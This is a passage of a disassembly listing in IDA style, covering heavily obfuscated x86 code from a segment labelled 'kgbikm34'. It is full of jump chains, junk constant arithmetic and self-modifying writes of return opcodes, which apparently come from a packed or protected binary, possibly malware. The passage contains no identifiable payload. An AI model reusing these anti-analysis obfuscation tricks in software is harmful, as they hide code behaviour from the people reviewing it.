; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4414DB

loc_445DE4:				; CODE XREF: sub_4414DB:loc_445F78j
		or	ecx, ecx
		jz	loc_448B0B
		mov	ecx, [ebx+ecx+0Ch]
		push	offset loc_448430

loc_445DF5:				; CODE XREF: kgbikm34:0044AFA8j
		jmp	loc_43F5A4
; END OF FUNCTION CHUNK	FOR sub_4414DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_445DFA:				; CODE XREF: sub_442A46-833Cj
		jg	loc_443A58
; END OF FUNCTION CHUNK	FOR sub_442A46

; =============== S U B	R O U T	I N E =======================================



sub_445E00	proc near		; CODE XREF: sub_442253-270Bp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043718F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00437945 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F007 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440261 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00448D73 SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	eax, [esp-4+arg_0]
		jmp	loc_440261
sub_445E00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		and	esi, 1E013F8h
		jmp	loc_442F58
; ---------------------------------------------------------------------------

loc_445E17:				; CODE XREF: kgbikm34:loc_44C154j
					; DATA XREF: sub_43AD9F:loc_44C14Ao
		push	edi

loc_445E18:				; CODE XREF: kgbikm34:00447BE8j
		push	7221C413h
		pop	edi
		and	edi, 2942C4EAh
		jmp	loc_438A6E
; ---------------------------------------------------------------------------

loc_445E29:				; CODE XREF: kgbikm34:00439A1Cj
		jnz	loc_44ACE6
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_445E2F:				; CODE XREF: sub_43F039:loc_43AA59j
		sub	eax, 9D0D3CBCh
		xor	eax, 95D67A0Fh
		call	sub_43717F

loc_445E40:				; DATA XREF: sub_43E6BD:loc_445848o
		xchg	edx, [esp+0]
		mov	esi, edx
		pop	edx
		jmp	loc_43EF48
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------

loc_445E4B:				; CODE XREF: kgbikm34:loc_44B94Aj
		inc	ds:dword_4480C4
		jmp	loc_43C14D
; ---------------------------------------------------------------------------

loc_445E56:				; CODE XREF: kgbikm34:loc_43E501j
		push	377CF6Fh
		pop	edi
		or	edi, ds:4000F8h
		add	edi, 9ECEC198h
		and	edi, 280D7995h
		add	edi, 0F83883A1h
		xchg	edi, [esp]
		jmp	loc_44D7E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C9C

loc_445E7C:				; CODE XREF: sub_438C9C+11FA9j
		xchg	eax, [esp-4+arg_0]
		jmp	loc_446F40
; END OF FUNCTION CHUNK	FOR sub_438C9C
; ---------------------------------------------------------------------------

loc_445E84:				; CODE XREF: kgbikm34:loc_446DA3j
		mov	eax, edx
		nop
		mov	eax, [esp]
		call	sub_43C7C6
		retn
; ---------------------------------------------------------------------------
dword_445E90	dd 0EC35D04Fh		; DATA XREF: sub_449D59+6r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43892A

loc_445E94:				; CODE XREF: sub_43892A+6j
		jmp	loc_4399EC
; END OF FUNCTION CHUNK	FOR sub_43892A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_445E99:				; CODE XREF: sub_440443+5F3Ej
		sub	ecx, 26D35F91h
		add	ecx, 0E6DC8896h
		xchg	ecx, [esp+0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443643

loc_445EAD:				; CODE XREF: sub_443643+1FC7j
		sub	edi, 1678133Eh
		xor	edi, 0C3CEEEAFh
		cmp	edi, 7247880h
		jmp	loc_43E8AE
; END OF FUNCTION CHUNK	FOR sub_443643
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_445EC4:				; CODE XREF: sub_44D21F:loc_4441E6j
		pop	eax
		jl	loc_43D6EC
		sbb	edi, 0F74ECE80h
		jmp	loc_437475
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A987

loc_445ED7:				; CODE XREF: sub_44A987-3EC2j
		jmp	loc_444903
; END OF FUNCTION CHUNK	FOR sub_44A987
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44213E

loc_445EDC:				; CODE XREF: sub_44213E-40E9j
		jmp	loc_448C69
; END OF FUNCTION CHUNK	FOR sub_44213E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_445EE1:				; CODE XREF: sub_44D21F-FB29j
		jmp	nullsub_356
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------

loc_445EE6:				; DATA XREF: sub_447B31+2B45o
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44BA3F
		jmp	loc_4422F4
; ---------------------------------------------------------------------------
		jb	loc_44C1BB
		jmp	loc_437596
; ---------------------------------------------------------------------------

loc_445F01:				; CODE XREF: kgbikm34:00438DB0j
		jl	loc_43EA17
		shl	ebp, 0Ah
		pushf
		or	eax, edx
		rol	edx, 15h
		jmp	loc_43EA17
; ---------------------------------------------------------------------------

loc_445F15:				; CODE XREF: kgbikm34:0043D0A4j
		jg	loc_44D116

; =============== S U B	R O U T	I N E =======================================



sub_445F1B	proc near		; CODE XREF: sub_445F1B:loc_447354p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438925 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438E89 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00439CA3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043B601 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043BA8D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00440539 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00440797 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443E48 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00444E90 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00447354 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004480B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448D4B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044B872 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044C459 SIZE 00000005 BYTES

		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		xchg	ebp, [esp+0]
		mov	ebx, ebp
		jmp	loc_444E90
sub_445F1B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_445F29:				; CODE XREF: sub_44649E:loc_4491B2j
		xchg	edx, [esp+0]
		jmp	sub_4441EB
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B63D

loc_445F31:				; CODE XREF: sub_43B63D:loc_449FCDj
		and	eax, ds:4000F3h
		add	eax, 0EF39C413h
		xchg	eax, [esp-4+arg_0]
		jmp	sub_44B5E4
; END OF FUNCTION CHUNK	FOR sub_43B63D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_445F45:				; CODE XREF: sub_439274+4FEEj
		xchg	ebx, esi
		jmp	loc_440B15
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_445F4C:				; CODE XREF: sub_43ACD5+10E9Dj
		cmp	ebp, eax
		jmp	loc_43847A
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
		db 0Dh
		dd 36C8E89Bh, 0B1328BB1h ; DATA	XREF: sub_448BC4-283Bo
; ---------------------------------------------------------------------------
		sbb	eax, [eax]
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_445F5E:				; CODE XREF: sub_44A1A6-C763j
		jmp	loc_44491E
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
		db 0C7h
dword_445F64	dd 77F50000h		; DATA XREF: sub_448BC4:loc_43A4E9r
					; sub_448BC4-2828w
dword_445F68	dd 0			; DATA XREF: sub_43B400+4r
					; sub_43B400+11r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D345

loc_445F6C:				; CODE XREF: sub_43D345+18j
		jmp	loc_446D23
; END OF FUNCTION CHUNK	FOR sub_43D345
; ---------------------------------------------------------------------------
		db 0EAh, 0CAh, 0D3h
dword_445F74	dd 77E79F93h		; DATA XREF: sub_43B400+18w
					; sub_43B400:loc_43E162r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4414DB

loc_445F78:				; CODE XREF: kgbikm34:loc_4402F9j
					; sub_4414DB+BBCCj
		jmp	loc_445DE4
; END OF FUNCTION CHUNK	FOR sub_4414DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C9C

loc_445F7D:				; CODE XREF: sub_438C9C+10DC5j
		jmp	nullsub_153
; END OF FUNCTION CHUNK	FOR sub_438C9C

; =============== S U B	R O U T	I N E =======================================



sub_445F82	proc near		; CODE XREF: kgbikm34:00446FDAj
					; kgbikm34:0044816Cp
		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_43DA79
sub_445F82	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		call	sub_43BA7A
; START	OF FUNCTION CHUNK FOR sub_446B3C

loc_445F94:				; CODE XREF: sub_446B3C+1j
		jmp	loc_441B7F
; END OF FUNCTION CHUNK	FOR sub_446B3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A24E

loc_445F99:				; CODE XREF: sub_43A24E+5j
		jmp	nullsub_79
; END OF FUNCTION CHUNK	FOR sub_43A24E
; ---------------------------------------------------------------------------

locret_445F9E:				; CODE XREF: kgbikm34:0043B66Fj
		retn
; ---------------------------------------------------------------------------

loc_445F9F:				; CODE XREF: kgbikm34:0043F6B6j
		jmp	nullsub_325
; ---------------------------------------------------------------------------

locret_445FA4:				; CODE XREF: kgbikm34:loc_43C43Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ADC2

loc_445FA5:				; CODE XREF: sub_44ADC2-BDA2j
		jmp	sub_438B99
; END OF FUNCTION CHUNK	FOR sub_44ADC2
; ---------------------------------------------------------------------------

loc_445FAA:				; CODE XREF: kgbikm34:00440DBAj
		rol	eax, 1Ch
		push	eax
		push	edi
		jmp	loc_43E501
; ---------------------------------------------------------------------------

loc_445FB4:				; CODE XREF: kgbikm34:loc_43F43Bj
		ror	eax, 17h
		mov	ds:dword_43A8D8, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_445FBE:				; CODE XREF: sub_43FC25:loc_441BDDj
					; sub_4433D8+1A08j
		rol	eax, 17h
		call	sub_443977
; END OF FUNCTION CHUNK	FOR sub_4433D8
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_445FC6:				; CODE XREF: sub_448C95-4EFFj
		jmp	loc_43F48A
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B24

loc_445FCB:				; CODE XREF: sub_441B24+1Cj
		jmp	loc_44D3BE
; END OF FUNCTION CHUNK	FOR sub_441B24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_445FD0:				; CODE XREF: sub_44114F-30AAj
		jmp	nullsub_191
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_445FD5:				; CODE XREF: sub_44B20C-880Ej
		jl	loc_4445A0
; END OF FUNCTION CHUNK	FOR sub_44B20C
; START	OF FUNCTION CHUNK FOR sub_441819

loc_445FDB:				; CODE XREF: sub_441819-71A2j
		jmp	loc_449D33
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------
		xor	ebx, edi
		jmp	loc_444598
; ---------------------------------------------------------------------------
		sbb	eax, 372CF3C6h
		jmp	loc_43945C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_267. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_445FF3:				; CODE XREF: sub_439274-209j
		jmp	loc_4443A0
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A07D

loc_445FF8:				; CODE XREF: sub_43A07D:loc_448AE4j
		or	ebx, 2E1DE536h
		xor	ebx, 0AFA9C6C1h
		add	ebx, ebp
		push	offset sub_4386C7
		jmp	nullsub_336
; END OF FUNCTION CHUNK	FOR sub_43A07D
; ---------------------------------------------------------------------------

loc_446010:				; CODE XREF: kgbikm34:0044BA96j
		xchg	ebp, ecx
		shl	eax, 5
		jmp	loc_4492F2
; ---------------------------------------------------------------------------
		shr	eax, 19h
		jmp	loc_4421D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_446022:				; CODE XREF: sub_439587:loc_43E7CBj
		call	sub_43C021

loc_446027:				; CODE XREF: sub_44E065+16j
		jmp	loc_43E07A
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_44602C:				; CODE XREF: sub_447E85+5F55j
		jmp	loc_43BBA1
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437613

loc_446031:				; CODE XREF: sub_437613:loc_4421EAj
		sub	eax, 32FE006Ah
		push	offset loc_44B1D8
		jmp	nullsub_367
; END OF FUNCTION CHUNK	FOR sub_437613
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_329. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_446042:				; DATA XREF: sub_444A4E+6o
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		mov	eax, edx
		call	sub_43A4A3
		call	sub_442EA7
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_446054:				; CODE XREF: sub_43BCAD:loc_44953Fj
		and	esi, 0D40EA6C6h
		cmp	ebp, 5AAB9674h
		jmp	loc_448B43
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_364. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_446066:				; CODE XREF: sub_447E85-C2DCj
		xor	ebp, 2B309h
		mov	eax, edi
		jle	loc_43CE37

loc_446074:				; CODE XREF: sub_447E85:loc_43BBA1j
		rol	ecx, 15h
		add	ecx, 2843F2B3h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_44BDB6
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
		add	ebp, edi
		adc	esi, ecx
		jmp	sub_43FD1A
; ---------------------------------------------------------------------------
		push	0F8798F68h
		pop	eax
		sub	eax, ds:4000F4h
		add	eax, 84E140D0h
		rol	eax, 17h
		and	eax, 5D881083h
		xor	eax, 6435B488h
		call	sub_43BF6F
		jmp	loc_44668A
; ---------------------------------------------------------------------------
		test	esi, 0FC3061B7h
		jmp	loc_444C77
; ---------------------------------------------------------------------------

loc_4460C4:				; CODE XREF: kgbikm34:loc_44C235j
		or	esi, ebx
		jmp	loc_4433BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43717F

loc_4460CB:				; CODE XREF: sub_43717F:loc_4488C1j
		pushf
		push	8C9A615Ch
		pop	ebx
		and	ebx, 2F3E12B2h
		xor	ebx, 2C62DFD1h
		add	ebx, 0DFCB32BEh
		popf
		jmp	loc_449C5D
; END OF FUNCTION CHUNK	FOR sub_43717F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB32

loc_4460EA:				; CODE XREF: sub_44AB32:loc_43FF78j
		xchg	ebx, [esp+0]
		jmp	sub_4479B1
; END OF FUNCTION CHUNK	FOR sub_44AB32

; =============== S U B	R O U T	I N E =======================================



sub_4460F2	proc near		; CODE XREF: sub_44B558+17p
					; kgbikm34:0044C4A7j
		xchg	esi, [esp+0]
		pop	esi
		push	0E9CADFD0h
		pop	edx
		jmp	loc_440ABB
sub_4460F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	ecx, ebx
		jmp	sub_43775A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44772C

loc_446108:				; CODE XREF: sub_44772C:loc_44AEADj
		pop	ebx
		add	ebx, 8EBEFF6Fh
		or	ebx, 3303AF90h
		add	ebx, 9F25D9E1h
		rol	ebx, 11h
		cmp	ebx, 0C32C2091h
		jmp	loc_43D54D
; END OF FUNCTION CHUNK	FOR sub_44772C

; =============== S U B	R O U T	I N E =======================================



sub_446129	proc near		; DATA XREF: sub_43AD9F+A269o

; FUNCTION CHUNK AT 0043B185 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004432AB SIZE 00000002 BYTES

		cmp	dword ptr [ebp-8], 0
		jle	loc_440057
		mov	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_43B185
sub_446129	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_44613D:				; CODE XREF: sub_449D59:loc_4453F9j
		jge	loc_44031B

loc_446143:				; CODE XREF: sub_44C198-2DB3j
		jmp	sub_43FD86
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442E1B

loc_446148:				; CODE XREF: sub_442E1B+5j
		jmp	nullsub_80
; END OF FUNCTION CHUNK	FOR sub_442E1B
; ---------------------------------------------------------------------------
		jbe	loc_438405
		xor	ebp, edx
		jmp	loc_440318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443622

loc_44615A:				; CODE XREF: sub_443622:loc_44B252j
		jnz	loc_44364F
; END OF FUNCTION CHUNK	FOR sub_443622
; START	OF FUNCTION CHUNK FOR sub_443681

loc_446160:				; CODE XREF: sub_443681+1B45j
		jmp	loc_44D355
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
		cmp	edx, eax
		jmp	loc_44DFBD
; ---------------------------------------------------------------------------

loc_44616C:				; CODE XREF: kgbikm34:00444113j
		jz	loc_43FAB2
		jmp	loc_43FE93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_446177:				; CODE XREF: sub_44DAF3-147EEj
		jz	loc_43B57B
		jmp	loc_441399
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_446182:				; CODE XREF: sub_43F4C9:loc_441266j
		push	34D8B3CBh
		pop	eax
		or	eax, 0DD64C8A1h
		xor	eax, 4B15195Ah
		add	eax, ebp
		add	eax, 49161C4Bh
		mov	eax, [eax]
		jmp	loc_43F6DD
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A406

loc_4461A3:				; CODE XREF: sub_44A406+Dj
		jz	loc_44D6A2
		jmp	loc_43B18A
; END OF FUNCTION CHUNK	FOR sub_44A406
; ---------------------------------------------------------------------------
		adc	eax, edx
		jmp	sub_43E82A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B5E4

loc_4461B6:				; CODE XREF: sub_44B5E4+3j
		jmp	loc_44B226
; END OF FUNCTION CHUNK	FOR sub_44B5E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_4461BB:				; CODE XREF: sub_43CFA5+17j
		jmp	loc_43DD50
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------
		jmp	loc_439D8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_4461C5:				; CODE XREF: sub_441819+BAFDj
		jl	loc_440E06
		push	7DFA812Dh

loc_4461D0:				; CODE XREF: sub_441819:loc_44D304j
		add	esi, 2FE99A3Fh
		call	sub_44B829
; END OF FUNCTION CHUNK	FOR sub_441819
; START	OF FUNCTION CHUNK FOR sub_442253

loc_4461DB:				; CODE XREF: sub_442253+Cj
		jmp	loc_43FB2D
; END OF FUNCTION CHUNK	FOR sub_442253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_4461E0:				; CODE XREF: sub_440443+5DFj
		cmp	dword ptr [ebp-4], 0
		jz	loc_43D734
		jmp	loc_43CCBA
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_4461EF:				; CODE XREF: sub_43EAEE-4052j
		or	ebp, 604405A9h

loc_4461F5:				; CODE XREF: sub_43EAEE:loc_43AA92j
		or	ecx, 22103FD2h
		add	ecx, 0D132F0DAh
		xchg	ecx, [esp+0]
		jmp	loc_43CEB9
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89E

loc_44620A:				; CODE XREF: sub_43B89E+BEA6j
		jmp	loc_44E02B
; END OF FUNCTION CHUNK	FOR sub_43B89E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1F9

loc_44620F:				; CODE XREF: sub_44A1F9-3BCDj
		jmp	loc_43D315
; END OF FUNCTION CHUNK	FOR sub_44A1F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_446214:				; CODE XREF: sub_43F4C9-8DEj
					; sub_43F4C9+BC3Fj
		push	63DD52D6h
		pop	eax
		xor	eax, 713E106Ch
		rol	eax, 7
		xor	eax, 3B831986h
		add	eax, ebp
		jmp	loc_43D1DE
; END OF FUNCTION CHUNK	FOR sub_43F4C9

; =============== S U B	R O U T	I N E =======================================



sub_446230	proc near		; DATA XREF: kgbikm34:004390C5o
		cmp	dword ptr [ebp-8], 0
		jz	loc_4422BD
		jmp	loc_4446C8
sub_446230	endp

; ---------------------------------------------------------------------------

loc_44623F:				; CODE XREF: kgbikm34:004390AFj
		inc	dword ptr [ebp-20h]
		push	offset loc_43E89C
		jmp	loc_443C33
; ---------------------------------------------------------------------------

loc_44624C:				; DATA XREF: kgbikm34:0043B6E2o
		lea	eax, nullsub_361
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_361
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp]
		push	edx
		jmp	loc_43F8FA
; ---------------------------------------------------------------------------

loc_446269:				; DATA XREF: sub_445A5E+46E7o
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44BB08
		jmp	loc_443E6D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44627C	proc near		; CODE XREF: kgbikm34:loc_438C2Ej
					; sub_43D114:loc_43946Ep ...

; FUNCTION CHUNK AT 0043CBB9 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	offset loc_43CA62
		jmp	loc_43CBB9
sub_44627C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFD

loc_446289:				; CODE XREF: sub_43FDFD:loc_44960Aj
		or	ecx, 5A073A8Fh
		sub	ecx, 2932151Bh
		add	ecx, 4F5E501Eh
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_43BA3A
; END OF FUNCTION CHUNK	FOR sub_43FDFD
; ---------------------------------------------------------------------------
		push	edx
		call	sub_445A5E
		mov	eax, 0DD1C4F2h
		call	sub_43BF6F
		mov	ds:dword_41E168, eax
		jmp	loc_44227E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B11

loc_4462BE:				; CODE XREF: sub_437B11+5C2Bj
		mov	ebp, ecx
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_437B11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_4462C2:				; CODE XREF: sub_439587:loc_43E06Fj
					; sub_439587+6E91j ...
		inc	dword ptr [ebp-20h]
		dec	dword ptr [ebp-2Ch]
		jnz	loc_44AA93
		jmp	loc_44D97B
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F09

loc_4462D3:				; CODE XREF: sub_442F09:loc_43B040j
		push	0F3862A1Ah
		pop	esi
		rol	esi, 1Fh
		and	esi, 53C80D91h
		add	esi, 852D7B3Ah
		cmp	esi, 5F41EA0h
		jmp	loc_43E4D4
; END OF FUNCTION CHUNK	FOR sub_442F09
; ---------------------------------------------------------------------------

loc_4462F3:				; CODE XREF: kgbikm34:00438836j
		pushf
		or	eax, edi
		xchg	esi, edi
		jmp	loc_44BA3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_4462FD:				; CODE XREF: sub_447B31+Cj
		sub	al, 99h
		push	3F27DAABh
		xchg	eax, [esp+0]
		mov	edx, eax
		jmp	loc_446A44
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438D6

loc_44630E:				; CODE XREF: sub_4438D6:loc_43B713j
		cdq
		add	eax, [esp+8+var_8]

loc_446312:				; CODE XREF: kgbikm34:004469CFj
		adc	edx, [esp+8+var_4]
		add	esp, 8
		jmp	loc_43F54B
; END OF FUNCTION CHUNK	FOR sub_4438D6
; ---------------------------------------------------------------------------
		test	al, al
		jz	locret_44487F
		jmp	loc_44BA90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44632B:				; CODE XREF: sub_43D494:loc_443BF0j
		jz	loc_4438CA
		jmp	loc_4497D5
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA1A

loc_446336:				; CODE XREF: sub_44CA1A+17j
		lea	eax, sub_43EFE3
		mov	byte ptr [eax],	0C3h
		jmp	loc_4402BF
; END OF FUNCTION CHUNK	FOR sub_44CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFE3

loc_446344:				; CODE XREF: sub_43EFE3-1413j
		mov	eax, [esp+0]
		push	edx
		nop
		push	767B25A5h
		pop	eax
		jmp	loc_44AFE9
; END OF FUNCTION CHUNK	FOR sub_43EFE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_446354:				; CODE XREF: sub_44368F:loc_442B8Aj
		jge	loc_44CC73
		pushf
		rol	ebx, 18h
		jbe	loc_43D75B
		jbe	loc_443A52
		jmp	loc_4412D6
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_44636F:				; CODE XREF: sub_440443:loc_43A1EDj
		mov	eax, 0B98DBDD7h
		push	ecx
		push	38055B84h
		pop	ecx
		xor	ecx, 783FD2D0h
		jmp	loc_445E99
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448BC4

loc_446386:				; CODE XREF: sub_448BC4:loc_443205j
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_445F54
		call	sub_4479B1
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_44B64C
		mov	ds:dword_445F64, eax
		jmp	loc_44BC62
; END OF FUNCTION CHUNK	FOR sub_448BC4
; ---------------------------------------------------------------------------
		jo	loc_43B3D3
		jmp	loc_447DDE

; =============== S U B	R O U T	I N E =======================================



sub_4463B1	proc near		; CODE XREF: kgbikm34:004394E6p
					; kgbikm34:0044C138j

arg_4		= dword	ptr  8

		xchg	edi, [esp+0]
		pop	edi
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	offset loc_43BD06
		jmp	nullsub_330
sub_4463B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395BB

loc_4463C3:				; CODE XREF: sub_4395BB+103D4j
		sub	esi, 9775E98Ah
		or	esi, 544EB264h
		and	esi, 49950549h
		add	esi, 45734B9h
		xor	esi, 3A41BF94h

loc_4463E1:				; CODE XREF: kgbikm34:loc_44AAF3j
		add	esi, ebp
		add	esi, 80D5796Ah
		mov	[esi], eax
		jmp	loc_43F436
; END OF FUNCTION CHUNK	FOR sub_4395BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_4463F0:				; CODE XREF: sub_4407E7-6F67j
		add	eax, ebp
		add	eax, 23069490h
		call	sub_445993
		mov	eax, 475BA966h
		call	sub_44DCEE

